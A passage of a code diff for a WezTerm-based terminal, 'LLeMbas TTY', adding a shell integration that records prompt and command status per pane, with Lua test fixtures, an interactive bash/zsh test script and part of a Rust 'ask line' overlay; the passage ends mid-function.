# ($LLEMBAS_TTY_STATUS_DIR, else $XDG_RUNTIME_DIR/llembas-tty, else
|
||||
# $XDG_STATE_HOME/llembas-tty), readable by you alone, replaced whole.
|
||||
# Not in a shell reached over SSH: the file would be on the wrong machine;
|
||||
# - the user variable llembas_tty_status of the pane (OSC 1337 SetUserVar),
|
||||
# which reaches the terminal from another machine too.
|
||||
# LLEMBAS_TTY_SKIP_STATUS=1 turns it off.
|
||||
#
|
||||
# The record, a key=value line each:
|
||||
# llembas-tty-status=1
|
||||
# id=<this shell: its process id and when it started>
|
||||
# seq=<up by one at every prompt>
|
||||
# state=prompt | running
|
||||
# exit=<status of the command before this prompt; absent before the first>
|
||||
# ran=1 (at a prompt: a command line ran since the prompt before)
|
||||
# time=<seconds since the epoch>
|
||||
# shell=bash | zsh
|
||||
# pid=<the shell's process id; not over SSH>
|
||||
# host=<the machine; only over SSH>
|
||||
# cwd=<the working directory>
|
||||
|
||||
if [ -z "${LLEMBAS_TTY-}" ]; then
|
||||
return 0
|
||||
@@ -55,5 +81,133 @@ if [ "${LLEMBAS_TTY_AUTOCOMPLETE-}" = "1" ]; then
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "${LLEMBAS_TTY_SKIP_STATUS-}" != "1" ] && [ -z "${__llembas_tty_seq-}" ]; then
|
||||
__llembas_tty_seq=0
|
||||
__llembas_tty_ran=
|
||||
__llembas_tty_exit=
|
||||
__llembas_tty_now="${EPOCHSECONDS-}"
|
||||
[ -n "$__llembas_tty_now" ] || __llembas_tty_now="$(date +%s)"
|
||||
__llembas_tty_id="$$.$__llembas_tty_now"
|
||||
if [ -n "${ZSH_NAME-}" ]; then
|
||||
__llembas_tty_shell=zsh
|
||||
else
|
||||
__llembas_tty_shell=bash
|
||||
fi
|
||||
|
||||
# The file, on the terminal's own machine only and for a pane with a number.
|
||||
__llembas_tty_status_file=
|
||||
if [ -z "${SSH_CONNECTION-}" ] && [ -z "${SSH_TTY-}" ]; then
|
||||
case "${LLEMBAS_TTY_PANE-}" in
|
||||
'' | *[!0-9]*) ;;
|
||||
*)
|
||||
case "${LLEMBAS_TTY_STATUS_DIR-}" in
|
||||
/*) __llembas_tty_status_file="$LLEMBAS_TTY_STATUS_DIR" ;;
|
||||
*)
|
||||
case "${XDG_RUNTIME_DIR-}" in
|
||||
/*) __llembas_tty_status_file="$XDG_RUNTIME_DIR/llembas-tty" ;;
|
||||
*)
|
||||
case "${XDG_STATE_HOME-}" in
|
||||
/*) __llembas_tty_status_file="$XDG_STATE_HOME/llembas-tty" ;;
|
||||
*) [ -z "${HOME-}" ] || __llembas_tty_status_file="$HOME/.local/state/llembas-tty" ;;
|
||||
esac
|
||||
;;
|
||||
esac
|
||||
;;
|
||||
esac
|
||||
[ -z "$__llembas_tty_status_file" ] || __llembas_tty_status_file="$__llembas_tty_status_file/pane-$LLEMBAS_TTY_PANE.status"
|
||||
;;
|
||||
esac
|
||||
fi
|
||||
|
||||
# __llembas_tty_record <state>: write the record both ways. The directory's
|
||||
# name is cut at a line break: a record is one fact a line.
|
||||
__llembas_tty_record() {
|
||||
local now record cwd="${PWD%%$'\n'*}"
|
||||
now="${EPOCHSECONDS-}"
|
||||
[ -n "$now" ] || now="$(date +%s)"
|
||||
record="llembas-tty-status=1
|
||||
id=$__llembas_tty_id
|
||||
seq=$__llembas_tty_seq
|
||||
state=$1"
|
||||
[ -z "$__llembas_tty_exit" ] || record="$record
|
||||
exit=$__llembas_tty_exit"
|
||||
if [ "$1" = prompt ] && [ -n "$__llembas_tty_ran" ]; then
|
||||
record="$record
|
||||
ran=1"
|
||||
fi
|
||||
record="$record
|
||||
time=$now
|
||||
shell=$__llembas_tty_shell"
|
||||
if [ -n "${SSH_CONNECTION-}" ] || [ -n "${SSH_TTY-}" ]; then
|
||||
record="$record
|
||||
host=${HOSTNAME:-${HOST:-unknown}}"
|
||||
else
|
||||
record="$record
|
||||
pid=$$"
|
||||
fi
|
||||
record="$record
|
||||
cwd=${cwd:0:1024}"
|
||||
if [ -n "$__llembas_tty_status_file" ]; then
|
||||
# Made beside the file, closed to everybody else, then moved over it:
|
||||
# a reader sees the old record or the new one, never half of one.
|
||||
(
|
||||
umask 077
|
||||
[ -d "${__llembas_tty_status_file%/*}" ] || mkdir -p "${__llembas_tty_status_file%/*}"
|
||||
printf '%s\n' "$record" >"$__llembas_tty_status_file.$$" &&
|
||||
mv -f "$__llembas_tty_status_file.$$" "$__llembas_tty_status_file"
|
||||
) 2>/dev/null
|
||||
fi
|
||||
if command -v base64 >/dev/null 2>&1; then
|
||||
if [ -z "${TMUX-}" ]; then
|
||||
printf '\033]1337;SetUserVar=%s=%s\007' llembas_tty_status "$(printf '%s\n' "$record" | base64 | tr -d '\r\n')"
|
||||
else
|
||||
# shellcheck disable=SC1003 # the backslash that ends tmux's passthrough
|
||||
printf '\033Ptmux;\033\033]1337;SetUserVar=%s=%s\007\033\\' llembas_tty_status "$(printf '%s\n' "$record" | base64 | tr -d '\r\n')"
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
__llembas_tty_preexec() {
|
||||
__llembas_tty_ran=1
|
||||
__llembas_tty_record running
|
||||
}
|
||||
|
||||
__llembas_tty_precmd() {
|
||||
local ret="$?"
|
||||
__llembas_tty_seq=$((__llembas_tty_seq + 1))
|
||||
# Before the first prompt no command of this shell has ended.
|
||||
if [ "$__llembas_tty_seq" -gt 1 ]; then
|
||||
__llembas_tty_exit="$ret"
|
||||
fi
|
||||
__llembas_tty_record prompt
|
||||
__llembas_tty_ran=
|
||||
return "$ret"
|
||||
}
|
||||
|
||||
if [ -n "${ZSH_NAME-}" ] || [ -n "${bash_preexec_imported-}" ]; then
|
||||
# First of the prompt's functions, so that $? is still the command's.
|
||||
precmd_functions=(__llembas_tty_precmd "${precmd_functions[@]}")
|
||||
else
|
||||
PROMPT_COMMAND="__llembas_tty_precmd${PROMPT_COMMAND:+;$PROMPT_COMMAND}"
|
||||
fi
|
||||
if [ -n "${ZSH_NAME-}" ]; then
|
||||
preexec_functions+=(__llembas_tty_preexec)
|
||||
elif [ "${BASH_VERSINFO[0]}" -gt 4 ] || { [ "${BASH_VERSINFO[0]}" -eq 4 ] && [ "${BASH_VERSINFO[1]}" -ge 4 ]; }; then
|
||||
# bash 4.4 and newer expand PS0 after every command line that is about to
|
||||
# run, and never for an empty one. (bash-preexec, which WezTerm's script
|
||||
# brings, does not see a command line that is all one subshell.) What the
|
||||
# first expansion prints is the record's user variable; the second prints
|
||||
# nothing and notes, in this shell, that a command ran.
|
||||
__llembas_tty_mark=
|
||||
# shellcheck disable=SC2016 # expanded by bash at each command, not here
|
||||
PS0="${PS0-}"'$(__llembas_tty_record running)${__llembas_tty_mark:$((__llembas_tty_ran=1,0)):0}'
|
||||
elif [ -n "${bash_preexec_imported-}" ]; then
|
||||
preexec_functions+=(__llembas_tty_preexec)
|
||||
else
|
||||
# Nothing tells a command from an empty line here: none is said to have run.
|
||||
:
|
||||
fi
|
||||
fi
|
||||
|
||||
unset __llembas_tty_dir
|
||||
true
|
||||
@@ -15,6 +15,8 @@ function F.new(env)
|
||||
logs = {},
|
||||
spawned = {},
|
||||
child_results = env.child_results or {},
|
||||
-- the terminal's own drawing part, when a test gives one (see F.native)
|
||||
llembas = env.native,
|
||||
}
|
||||
|
||||
-- wezterm.action.Name(args) and wezterm.action.Name { … } give a table
|
||||
@@ -96,6 +98,35 @@ function F.new(env)
|
||||
return w
|
||||
end
|
||||
|
||||
-- The terminal's own part (`wezterm.llembas`), recording what it is asked.
|
||||
function F.native()
|
||||
local n = { calls = {} }
|
||||
for _, name in ipairs { 'ask_line', 'configure', 'notice', 'set_private', 'command_ended', 'clear_history' } do
|
||||
n[name] = function(...)
|
||||
n.calls[#n.calls + 1] = { name, ... }
|
||||
return true
|
||||
end
|
||||
end
|
||||
function n.last(name)
|
||||
for i = #n.calls, 1, -1 do
|
||||
if n.calls[i][1] == name then
|
||||
return n.calls[i]
|
||||
end
|
||||
end
|
||||
return nil
|
||||
end
|
||||
function n.count(name)
|
||||
local c = 0
|
||||
for _, call in ipairs(n.calls) do
|
||||
if call[1] == name then
|
||||
c = c + 1
|
||||
end
|
||||
end
|
||||
return c
|
||||
end
|
||||
return n
|
||||
end
|
||||
|
||||
-- A pane that records what is sent to it.
|
||||
function F.pane(spec)
|
||||
local p = {
|
||||
@@ -141,6 +172,9 @@ function F.pane(spec)
|
||||
function p:tab()
|
||||
return spec.tab
|
||||
end
|
||||
function p:activate()
|
||||
self.activated = (self.activated or 0) + 1
|
||||
end
|
||||
function p:send_text(text)
|
||||
self.sent[#self.sent + 1] = { 'text', text }
|
||||
end
|
||||
@@ -151,16 +185,23 @@ function F.pane(spec)
|
||||
self.splits[#self.splits + 1] = args
|
||||
local new = F.pane { id = (spec.next_id or 100) + #self.splits }
|
||||
self.last_split = new
|
||||
if spec.tab then
|
||||
table.insert(spec.tab.list, new)
|
||||
new.spec.tab = spec.tab
|
||||
end
|
||||
return new
|
||||
end
|
||||
return p
|
||||
end
|
||||
|
||||
function F.tab(panes)
|
||||
local t = { list = panes }
|
||||
function F.tab(panes, id)
|
||||
local t = { list = panes, id = id or 1 }
|
||||
function t:panes()
|
||||
return self.list
|
||||
end
|
||||
function t:tab_id()
|
||||
return self.id
|
||||
end
|
||||
for _, p in ipairs(panes) do
|
||||
p.spec.tab = t
|
||||
end
|
||||
@@ -173,8 +214,15 @@ function F.window(id)
|
||||
return self.id
|
||||
end
|
||||
function win:perform_action(action, pane)
|
||||
-- an action that takes nothing is given by its name alone (act.TogglePaneZoomState)
|
||||
if type(action) == 'function' then
|
||||
action = action()
|
||||
end
|
||||
self.actions[#self.actions + 1] = { action = action, pane = pane }
|
||||
end
|
||||
function win:active_pane()
|
||||
return self.active
|
||||
end
|
||||
function win:set_right_status(text)
|
||||
self.status = text
|
||||
end
|
||||
|
||||
+846
-228
File diff suppressed because it is too large.
Load diff
Executable
+101
@@ -0,0 +1,101 @@
|
||||
#!/usr/bin/env bash
|
||||
# The shell integration's command record (llembas/shell/llembas-tty.sh), in a real interactive
|
||||
# bash and zsh on a terminal of their own (script(1): bash tells a command from an empty line
|
||||
# only on a terminal): the file and the user variable, what counts as a command, and that
|
||||
# nothing at all happens outside LLeMbas TTY.
|
||||
#
|
||||
# llembas/tests/shell-test.sh
|
||||
set -uo pipefail
|
||||
ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
|
||||
work="$(mktemp -d)"
|
||||
trap 'rm -rf "${work:?}"' EXIT
|
||||
failed=0
|
||||
ok() { echo "ok $1"; }
|
||||
bad() {
|
||||
echo "FAIL $1"
|
||||
[ -z "${GITHUB_ACTIONS:-}" ] || printf '::error title=shell::%s\n' "$(printf '%s' "$1" | head -c 900 | tr '\n\r' ' ' | sed 's/%/%25/g')"
|
||||
failed=1
|
||||
}
|
||||
expect() { if printf '%s' "$2" | grep -Eq -- "$3"; then ok "$1"; else bad "$1: wanted /$3/ in: $2"; fi; }
|
||||
|
||||
# run <name> <shell words…>: the lines on stdin are typed into that shell, in a home and a
|
||||
# runtime directory of its own. Extra variables come through EXTRA (one VAR=value a word).
|
||||
run() {
|
||||
local name="$1"
|
||||
shift
|
||||
mkdir -p "$work/$name/run" "$work/$name/home"
|
||||
# shellcheck disable=SC2086 # EXTRA and SHELL_DIR_OFF are words on purpose
|
||||
# The lines are typed slowly enough for each prompt to be there first.
|
||||
while IFS= read -r line || [ -n "$line" ]; do
|
||||
printf '%s\n' "$line"
|
||||
sleep 0.3
|
||||
done | env -i PATH=/usr/bin:/bin TERM=xterm-256color HOME="$work/$name/home" XDG_RUNTIME_DIR="$work/$name/run" \
|
||||
LLEMBAS_TTY_SHELL_DIR="$ROOT/assets/shell-integration" ${EXTRA-} ${SHELL_DIR_OFF-} \
|
||||
script -qec "$*" /dev/null 2>&1 | cat -v
|
||||
}
|
||||
# field <name> <record text>: the value of one key of a record.
|
||||
field() { printf '%s\n' "$2" | sed -n "s/^$1=//p" | head -n 1; }
|
||||
# The records in what a shell printed (the user variable, decoded), one a line, each as
|
||||
# "<seq> <state> <exit or -> <ran or ->".
|
||||
records() {
|
||||
printf '%s\n' "$1" | grep -o 'SetUserVar=llembas_tty_status=[A-Za-z0-9+/=]*' | while IFS= read -r v; do
|
||||
text="$(printf '%s\n' "${v#SetUserVar=llembas_tty_status=}" | base64 -d)"
|
||||
e="$(field exit "$text")"
|
||||
r="$(field ran "$text")"
|
||||
printf '%s %s %s %s\n' "$(field seq "$text")" "$(field state "$text")" "${e:--}" "${r:--}"
|
||||
done
|
||||
}
|
||||
|
||||
for shell in bash zsh; do
|
||||
command -v "$shell" >/dev/null 2>&1 || { echo "skip $shell: not here"; continue; }
|
||||
case "$shell" in
|
||||
bash) words=(bash --norc --noprofile -i) ;;
|
||||
*) words=(zsh -f -i +Z) ;;
|
||||
esac
|
||||
|
||||
# A first prompt, a command that works, an empty line, one that fails with 3 and is all a
|
||||
# subshell (which bash-preexec alone would not see).
|
||||
script=". '$ROOT/llembas/shell/llembas-tty.sh'"$'\ntrue\n\n(exit 3)\nexit\n'
|
||||
want='^1 prompt - -,1 running - -,2 prompt 0 1,3 prompt 0 -,3 running 0 -,4 prompt 3 1,4 running 3 -,$'
|
||||
out="$(printf '%s' "$script" | EXTRA="LLEMBAS_TTY=1.0.0 LLEMBAS_TTY_PANE=7" run "$shell-in" "${words[@]}")"
|
||||
file="$work/$shell-in/run/llembas-tty/pane-7.status"
|
||||
expect "$shell: a record at every prompt and when a command starts; an empty line ran nothing" "$(records "$out" | tr '\n' ',')" "$want"
|
||||
text="$(cat "$file" 2>/dev/null)"
|
||||
expect "$shell: the file starts with the format's line" "$(printf '%s\n' "$text" | head -n 1)" '^llembas-tty-status=1$'
|
||||
expect "$shell: the file holds the last record (exit, as it was typed, started)" "$(field seq "$text") $(field state "$text") $(field exit "$text")" '^4 running 3$'
|
||||
expect "$shell: the record names the shell, its process and its directory" "$(field shell "$text") $(field pid "$text") $(field id "$text") $(field cwd "$text") $(field time "$text")" "^$shell [0-9]+ [0-9]+\.[0-9]+ /.* [0-9]{9,}\$"
|
||||
expect "$shell: the file is the person's alone" "$(stat -c %a "$file" 2>/dev/null)" '^600$'
|
||||
expect "$shell: nothing is left beside the file" "$(cd "$work/$shell-in/run/llembas-tty" 2>/dev/null && find . -type f | sort | tr '\n' ' ')" '^\./pane-7\.status $'
|
||||
expect "$shell: the exit status still reaches the prompt" "$(printf '%s' ". '$ROOT/llembas/shell/llembas-tty.sh'"$'\n(exit 5)\necho "status=$?"\nexit\n' | EXTRA="LLEMBAS_TTY=1.0.0 LLEMBAS_TTY_PANE=7" run "$shell-st" "${words[@]}")" 'status=5'
|
||||
|
||||
# The directory the terminal names is where the file goes; else the state directory.
|
||||
mkdir -p "$work/$shell-dir/elsewhere"
|
||||
printf '%s' "$script" | EXTRA="LLEMBAS_TTY=1.0.0 LLEMBAS_TTY_PANE=12 LLEMBAS_TTY_STATUS_DIR=$work/$shell-dir/elsewhere" run "$shell-dir" "${words[@]}" >/dev/null
|
||||
expect "$shell: in LLEMBAS_TTY_STATUS_DIR" "$(field seq "$(cat "$work/$shell-dir/elsewhere/pane-12.status" 2>/dev/null)")" '^4$'
|
||||
printf '%s' "$script" | EXTRA="LLEMBAS_TTY=1.0.0 LLEMBAS_TTY_PANE=3 XDG_RUNTIME_DIR= XDG_STATE_HOME=$work/$shell-state/state" run "$shell-state" "${words[@]}" >/dev/null
|
||||
expect "$shell: with no runtime directory, in the state directory" "$(field seq "$(cat "$work/$shell-state/state/llembas-tty/pane-3.status" 2>/dev/null)")" '^4$'
|
||||
|
||||
# A pane id that is not a number names no file; the variable is still set.
|
||||
out="$(printf '%s' "$script" | EXTRA="LLEMBAS_TTY=1.0.0 LLEMBAS_TTY_PANE=../x" run "$shell-bad" "${words[@]}")"
|
||||
expect "$shell: a pane id that is not a number writes no file" "$(find "$work/$shell-bad/run" -type f | wc -l)" '^0$'
|
||||
expect "$shell: and the variable is still set" "$(records "$out" | tr '\n' ',')" "$want"
|
||||
|
||||
# Over SSH the file would be on the wrong machine: the variable alone, naming the machine.
|
||||
out="$(printf '%s' "$script" | EXTRA="LLEMBAS_TTY=1.0.0 LLEMBAS_TTY_PANE=7 SSH_CONNECTION=x HOSTNAME=workstation HOST=workstation" run "$shell-ssh" "${words[@]}")"
|
||||
one="$(printf '%s\n' "$out" | grep -o 'SetUserVar=llembas_tty_status=[A-Za-z0-9+/=]*' | head -n 1 | sed 's/.*=llembas_tty_status=//' | base64 -d)"
|
||||
expect "$shell: over SSH no file is written" "$(find "$work/$shell-ssh/run" -type f | wc -l)" '^0$'
|
||||
expect "$shell: over SSH the record names the machine and no process" "host=$(field host "$one") pid=$(field pid "$one")" '^host=workstation pid=$'
|
||||
|
||||
# Without WezTerm's script (no command marks at all), the record is still kept.
|
||||
out="$(printf '%s' "$script" | EXTRA="LLEMBAS_TTY=1.0.0 LLEMBAS_TTY_PANE=7" SHELL_DIR_OFF="LLEMBAS_TTY_SHELL_DIR=$work/nowhere" run "$shell-alone" "${words[@]}")"
|
||||
expect "$shell: kept without the command marks too" "$(records "$out" | tr '\n' ',')" "$want"
|
||||
|
||||
# Turned off, and outside LLeMbas TTY: nothing.
|
||||
out="$(printf '%s' "$script" | EXTRA="LLEMBAS_TTY=1.0.0 LLEMBAS_TTY_PANE=7 LLEMBAS_TTY_SKIP_STATUS=1" run "$shell-off" "${words[@]}")"
|
||||
expect "$shell: LLEMBAS_TTY_SKIP_STATUS=1 turns it off" "$(records "$out" | wc -l) $(find "$work/$shell-off/run" -type f | wc -l)" '^0 0$'
|
||||
out="$(printf '%s' "$script" | EXTRA="LLEMBAS_TTY_PANE=7" run "$shell-out" "${words[@]}")"
|
||||
expect "$shell: outside LLeMbas TTY nothing is written and nothing is printed" "$(printf '%s' "$out" | grep -c 'SetUserVar\|133;') $(find "$work/$shell-out/run" -type f | wc -l)" '^0 0$'
|
||||
done
|
||||
|
||||
[ "$failed" -eq 0 ] && echo "shell: all passed"
|
||||
exit "$failed"
|
||||
@@ -102,6 +102,36 @@ return config
|
||||
LUA
|
||||
own="$(clean "$TTY" show-keys --lua 2>"$work/keys-err.txt")"
|
||||
expect "a person's own file in our directory is read, and require 'llembas' works there" "$own" "F9"
|
||||
# The terminal's own drawing part is there for the layer (wezterm.llembas), takes what the
|
||||
# layer tells it, and the layer applied over it still binds its keys.
|
||||
cat > "$work/cfg/llembas-tty/llembas-tty.lua" <<'LUA'
|
||||
local wezterm = require 'wezterm'
|
||||
local config = wezterm.config_builder()
|
||||
local n = wezterm.llembas
|
||||
local out = { 'module=' .. type(n) }
|
||||
if type(n) == 'table' then
|
||||
for _, name in ipairs { 'ask_line', 'configure', 'notice', 'set_private', 'command_ended', 'clear_history' } do
|
||||
out[#out + 1] = name .. '=' .. type(n[name])
|
||||
end
|
||||
local ok, err = pcall(n.configure, {
|
||||
suggestions = true, highlight = true, ai_complete = false, cli = '', history = true, history_max = 10,
|
||||
colors = { ghost = 8, command = '#00ff00', unknown = false },
|
||||
})
|
||||
out[#out + 1] = 'configure=' .. tostring(ok) .. (ok and '' or (' ' .. tostring(err)))
|
||||
local ok2 = pcall(n.set_private, 3, true)
|
||||
out[#out + 1] = 'set_private=' .. tostring(ok2)
|
||||
end
|
||||
require('llembas').apply(config, { autocomplete = true })
|
||||
local f = io.open(wezterm.home_dir .. '/native.txt', 'w')
|
||||
f:write(table.concat(out, ' '))
|
||||
f:close()
|
||||
return config
|
||||
LUA
|
||||
native_keys="$(clean "$TTY" show-keys --lua 2>"$work/keys-err.txt")"
|
||||
native="$(cat "$work/home/native.txt" 2>/dev/null)"
|
||||
expect "wezterm.llembas is there, with every function the layer uses" "$native" '^module=table ask_line=function configure=function notice=function set_private=function command_ended=function clear_history=function configure=true set_private=true$'
|
||||
expect "the layer applies over it" "$native_keys" "llembas-ask"
|
||||
if [ -e "$work/home/.local/share/llembas-tty/command-history" ]; then bad "a command history was written though no command ran"; else ok "no command history is written before a command ran"; fi
|
||||
else
|
||||
bad "show-keys did not run: $(head -5 "$work/keys-err.txt")"
|
||||
fi
|
||||
|
||||
@@ -65,6 +65,8 @@ image.workspace = true
|
||||
lazy_static.workspace = true
|
||||
lfucache.workspace = true
|
||||
libc.workspace = true
|
||||
# LLeMbas TTY: the logic of the ask line, suggestions and highlighting (llembas/line)
|
||||
llembas-line = { path = "../llembas/line" }
|
||||
log.workspace = true
|
||||
luahelper.workspace = true
|
||||
metrics.workspace = true
|
||||
|
||||
@@ -0,0 +1,458 @@
|
||||
//! LLeMbas TTY: the ask line.
|
||||
//!
|
||||
//! The person presses the ask key at their prompt and the line they are on
|
||||
//! becomes a line for a question to LLeMbas, in its place: the row of the
|
||||
//! cursor shows `llembas <model> · <mode> › ` and what they type. Enter sends
|
||||
//! the question (to the layer, as an event); Escape, or the key again, leaves
|
||||
//! it. The shell's own line is as it was before: nothing typed here is ever
|
||||
//! sent to the shell, and nothing is written to the pane.
|
||||
//!
|
||||
//! It is an overlay over the pane, as the terminal's own search and quick
|
||||
//! select are (`overlay/quickselect.rs` is the model for this file): while it
|
||||
//! is there the terminal gives the keys to it and draws the pane through it.
|
||||
//! It draws the pane's own lines, with the one row replaced. The editing is
|
||||
//! `llembas_line::editor`, which is where its tests are.
|
||||
|
||||
use super::state;
|
||||
use crate::scripting::guiwin::GuiWin;
|
||||
use crate::termwindow::TermWindow;
|
||||
use config::keyassignment::ScrollbackEraseMode;
|
||||
use llembas_line::editor::{self, Key, LineEditor, Outcome};
|
||||
use mux::domain::DomainId;
|
||||
use mux::pane::{CachePolicy, ForEachPaneLogicalLine, LogicalLine, Pane, PaneId, WithPaneLines};
|
||||
use mux::renderable::*;
|
||||
use mux::Mux;
|
||||
use mux_lua::MuxPane;
|
||||
use parking_lot::{MappedMutexGuard, Mutex, MutexGuard};
|
||||
use rangeset::RangeSet;
|
||||
use std::ops::Range;
|
||||
use std::rc::Rc;
|
||||
use std::sync::Arc;
|
||||
use termwiz::cell::CellAttributes;
|
||||
use termwiz::surface::{CursorShape, CursorVisibility, SequenceNo, SEQ_ZERO};
|
||||
use url::Url;
|
||||
use wezterm_term::color::ColorPalette;
|
||||
use wezterm_term::{
|
||||
Clipboard, Intensity, KeyCode, KeyModifiers, Line, MouseEvent, StableRowIndex, TerminalSize,
|
||||
};
|
||||
use window::WindowOps;
|
||||
|
||||
/// What the layer asks for.
|
||||
pub struct AskArgs {
|
||||
/// What stands before the question: the model and mode that will answer.
|
||||
pub prefix: String,
|
||||
/// The event the question comes back as.
|
||||
pub event: String,
|
||||
}
|
||||
|
||||
pub struct AskOverlay {
|
||||
delegate: Arc<dyn Pane>,
|
||||
state: Mutex<AskState>,
|
||||
/// What is written to this pane goes nowhere: the shell under it gets
|
||||
/// nothing while the ask line is there.
|
||||
sink: Mutex<std::io::Sink>,
|
||||
}
|
||||
|
||||
struct AskState {
|
||||
editor: LineEditor,
|
||||
prefix: String,
|
||||
event: String,
|
||||
window: ::window::Window,
|
||||
gui_win: GuiWin,
|
||||
/// Sent or left: further keys do nothing while the overlay goes away.
|
||||
done: bool,
|
||||
}
|
||||
|
||||
/// The columns a character takes.
|
||||
fn char_width(c: char) -> usize {
|
||||
let mut buf = [0u8; 4];
|
||||
wezterm_term::unicode_column_width(c.encode_utf8(&mut buf), None)
|
||||
}
|
||||
|
||||
/// A key of the terminal as the editor knows it; `None` for a key that means
|
||||
/// nothing on the ask line.
|
||||
fn map_key(key: KeyCode, mods: KeyModifiers) -> Option<Key> {
|
||||
let none = mods == KeyModifiers::NONE || mods == KeyModifiers::SHIFT;
|
||||
let ctrl = mods == KeyModifiers::CTRL;
|
||||
let alt = mods == KeyModifiers::ALT;
|
||||
match key {
|
||||
KeyCode::Char(c) if ctrl => match c.to_ascii_lowercase() {
|
||||
'a' => Some(Key::Home),
|
||||
'e' => Some(Key::End),
|
||||
'b' => Some(Key::Left),
|
||||
'f' => Some(Key::Right),
|
||||
'h' => Some(Key::Backspace),
|
||||
'd' => Some(Key::Delete),
|
||||
'w' => Some(Key::DeleteWordLeft),
|
||||
'u' => Some(Key::DeleteToStart),
|
||||
'k' => Some(Key::DeleteToEnd),
|
||||
'p' => Some(Key::Up),
|
||||
'n' => Some(Key::Down),
|
||||
'j' | 'm' => Some(Key::Enter),
|
||||
'c' | 'g' => Some(Key::Cancel),
|
||||
_ => None,
|
||||
},
|
||||
KeyCode::Char(c) if alt => match c.to_ascii_lowercase() {
|
||||
'b' => Some(Key::WordLeft),
|
||||
'f' => Some(Key::WordRight),
|
||||
'd' => Some(Key::DeleteWordRight),
|
||||
'\u{7f}' | '\u{8}' => Some(Key::DeleteWordLeft),
|
||||
_ => None,
|
||||
},
|
||||
KeyCode::Char('\r') | KeyCode::Char('\n') if none => Some(Key::Enter),
|
||||
KeyCode::Char('\u{1b}') => Some(Key::Cancel),
|
||||
KeyCode::Char('\u{7f}') | KeyCode::Char('\u{8}') if none => Some(Key::Backspace),
|
||||
KeyCode::Char(c) if none => Some(Key::Char(c)),
|
||||
KeyCode::Enter if none => Some(Key::Enter),
|
||||
KeyCode::Escape => Some(Key::Cancel),
|
||||
KeyCode::Backspace if alt || ctrl => Some(Key::DeleteWordLeft),
|
||||
KeyCode::Backspace => Some(Key::Backspace),
|
||||
KeyCode::Delete if alt || ctrl => Some(Key::DeleteWordRight),
|
||||
KeyCode::Delete => Some(Key::Delete),
|
||||
KeyCode::LeftArrow if alt || ctrl => Some(Key::WordLeft),
|
||||
KeyCode::LeftArrow => Some(Key::Left),
|
||||
KeyCode::RightArrow if alt || ctrl => Some(Key::WordRight),
|
||||
KeyCode::RightArrow => Some(Key::Right),
|
||||
KeyCode::UpArrow => Some(Key::Up),
|
||||
KeyCode::DownArrow => Some(Key::Down),
|
||||
KeyCode::Home => Some(Key::Home),
|
||||
KeyCode::End => Some(Key::End),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// The ask key: turn the pane's line into the ask line, or back when it is
|
||||
/// one already.
|
||||
pub fn toggle(term_window: &mut TermWindow, pane_id: PaneId, args: AskArgs) {
|
||||
let window = match term_window.window.clone() {
|
||||
Some(window) => window,
|
||||
None => return,
|
||||
};
|
||||
let existing = term_window
|
||||
.pane_state(pane_id)
|
||||
.overlay
|
||||
.as_ref()
|
||||
.map(|overlay| overlay.pane.clone());
|
||||
if let Some(existing) = existing {
|
||||
// The key again leaves the ask line. Another overlay (search, copy
|
||||
// mode) keeps the pane: it was asked for first.
|
||||
if existing.downcast_ref::<AskOverlay>().is_some() {
|
||||
TermWindow::schedule_cancel_overlay_for_pane(window, pane_id);
|
||||
}
|
||||
return;
|
||||
}
|
||||
let pane = match Mux::get().get_pane(pane_id) {
|
||||
Some(pane) => pane,
|
||||
None => return,
|
||||
};
|
||||
|
||||
// The line is drawn at the cursor: the pane shows its end, not its past.
|
||||
let dims = pane.get_dimensions();
|
||||
term_window.set_viewport(pane_id, None, dims);
|
||||
|
||||
let overlay: Arc<dyn Pane> = Arc::new(AskOverlay {
|
||||
delegate: pane,
|
||||
state: Mutex::new(AskState {
|
||||
editor: LineEditor::new(&state::questions()),
|
||||
prefix: args.prefix,
|
||||
event: args.event,
|
||||
window: window.clone(),
|
||||
gui_win: GuiWin::new(term_window),
|
||||
done: false,
|
||||
}),
|
||||
sink: Mutex::new(std::io::sink()),
|
||||
});
|
||||
term_window.assign_overlay_for_pane(pane_id, overlay);
|
||||
window.invalidate();
|
||||
}
|
||||
|
||||
/// Hand the question to the layer: the event, with the window, the pane and
|
||||
/// the line, as a one-line prompt of the terminal hands its line over
|
||||
/// (`overlay/prompt.rs`).
|
||||
fn emit(name: String, window: GuiWin, pane: MuxPane, line: String) {
|
||||
async fn do_event(
|
||||
lua: Option<Rc<mlua::Lua>>,
|
||||
name: String,
|
||||
window: GuiWin,
|
||||
pane: MuxPane,
|
||||
line: String,
|
||||
) -> anyhow::Result<()> {
|
||||
if let Some(lua) = lua {
|
||||
let args = lua.pack_multi((window, pane, line))?;
|
||||
if let Err(err) = config::lua::emit_event(&lua, (name.clone(), args)).await {
|
||||
log::error!("while processing {} event: {:#}", name, err);
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
promise::spawn::spawn(async move {
|
||||
config::with_lua_config_on_main_thread(move |lua| do_event(lua, name, window, pane, line))
|
||||
.await
|
||||
})
|
||||
.detach();
|
||||
}
|
||||
|
||||
impl AskState {
|
||||
fn close(&mut self, pane_id: PaneId) {
|
||||
self.done = true;
|
||||
TermWindow::schedule_cancel_overlay_for_pane(self.window.clone(), pane_id);
|
||||
}
|
||||
|
||||
fn apply(&mut self, pane_id: PaneId, outcome: Outcome) {
|
||||
match outcome {
|
||||
Outcome::Unchanged => {}
|
||||
Outcome::Changed => self.window.invalidate(),
|
||||
Outcome::Cancel => self.close(pane_id),
|
||||
Outcome::Submit(line) => {
|
||||
state::remember_question(&line);
|
||||
emit(
|
||||
self.event.clone(),
|
||||
self.gui_win.clone(),
|
||||
MuxPane(pane_id),
|
||||
line,
|
||||
);
|
||||
self.close(pane_id);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl AskOverlay {
|
||||
/// The row the ask line is drawn on: the cursor's, or the bottom row when
|
||||
/// a full-screen program has the pane.
|
||||
fn row(&self) -> StableRowIndex {
|
||||
let dims = self.delegate.get_dimensions();
|
||||
let bottom = dims.physical_top
|
||||
+ (dims.viewport_rows as StableRowIndex)
|
||||
.saturating_sub(1)
|
||||
.max(0);
|
||||
if self.delegate.is_alt_screen_active() {
|
||||
return bottom;
|
||||
}
|
||||
let cursor = self.delegate.get_cursor_position();
